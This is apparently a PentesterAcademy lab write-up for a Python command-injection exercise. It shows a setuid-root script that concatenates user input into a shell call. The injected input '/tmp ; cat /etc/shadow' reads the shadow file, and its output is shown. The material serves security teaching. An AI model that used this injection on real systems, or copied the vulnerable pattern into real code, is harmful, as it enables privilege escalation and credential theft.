
ATTACK
DEFENSE
by PentesterAcademy

Name	Command Injection
URL	https://www.attackdefense.com/challengedetails?cid=582
Type	Secure Coding : Python

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

A vulnerable binary "script" is given in student home directory. The source code file (script.py) of this binary is also given in the same directory.

Objective: Print the contents of the shadow file.

Solution:

Observe that the binary has setuid bit set.

```
student@attackdefense:~$ ls -l
total 3832
-rwsr-xr-x 1 root root 3916728 Jan  6 10:53 script
-rw-r--r-- 1 root root     219 Jan  5 19:33 script.py
student@attackdefense:~$
```

And it can list the contents of any directory.

```
student@attackdefense:~$ ./script
Directory name : /var
total 36
drwxr-xr-x 2 root root  4096 Apr 24  2018 backups
drwxr-xr-x 1 root root  4096 Nov 12 20:56 cache
drwxr-xr-x 1 root root  4096 Jan  6 10:48 lib
drwxrwsr-x 2 root staff 4096 Apr 24  2018 local
lrwxrwxrwx 1 root root     9 Nov 12 20:54 lock -> /run/lock
drwxr-xr-x 1 root root  4096 Nov 12 20:55 log
drwxrwsr-x 2 root mail  4096 Nov 12 20:54 mail
drwxr-xr-x 2 root root  4096 Nov 12 20:54 opt
lrwxrwxrwx 1 root root     4 Nov 12 20:54 run -> /run
drwxr-xr-x 2 root root  4096 Nov 12 20:54 spool
drwxrwxrwt 2 root root  4096 Nov 12 20:56 tmp
student@attackdefense:~$
```

Check the code of this binary (given in script.py) and observe that the directory name entered by the user is directly passed to the subprocess.call () function. So, other passed commands will also get executed.

```
student@attackdefense:~$ cat script.py
#!/usr/bin/python

import subprocess
import os
os.setuid(0)
def list_dir(dir_name):
    command = 'ls -l '+dir_name
    subprocess.call(command, shell=True)

dir_name = raw_input("Directory name : ")
list_dir(dir_name)
student@attackdefense:~$
```

Hence, input following line to get the contents of /etc/shadow file

Input: /tmp ; cat /etc/shadow

```
student@attackdefense:~$ ./script
Directory name : /tmp ; cat /etc/shadow
total 4
drwx------ 2 root student 4096 Jan  7 06:20 _MEIFcPyTr
root:*:17847:0:99999:7:::
daemon:*:17847:0:99999:7:::
bin:*:17847:0:99999:7:::
sys:*:17847:0:99999:7:::
sync:*:17847:0:99999:7:::
games:*:17847:0:99999:7:::
man:*:17847:0:99999:7:::
lp:*:17847:0:99999:7:::
mail:*:17847:0:99999:7:::
news:*:17847:0:99999:7:::
uucp:*:17847:0:99999:7:::
proxy:*:17847:0:99999:7:::
www-data:*:17847:0:99999:7:::
backup:*:17847:0:99999:7:::
list:*:17847:0:99999:7:::
irc:*:17847:0:99999:7:::
gnats:*:17847:0:99999:7:::
nobody:*:17847:0:99999:7:::
_apt:*:17847:0:99999:7:::
messagebus:*:17902:0:99999:7:::
student:!:17902:0:99999:7:::
student@attackdefense:~$
```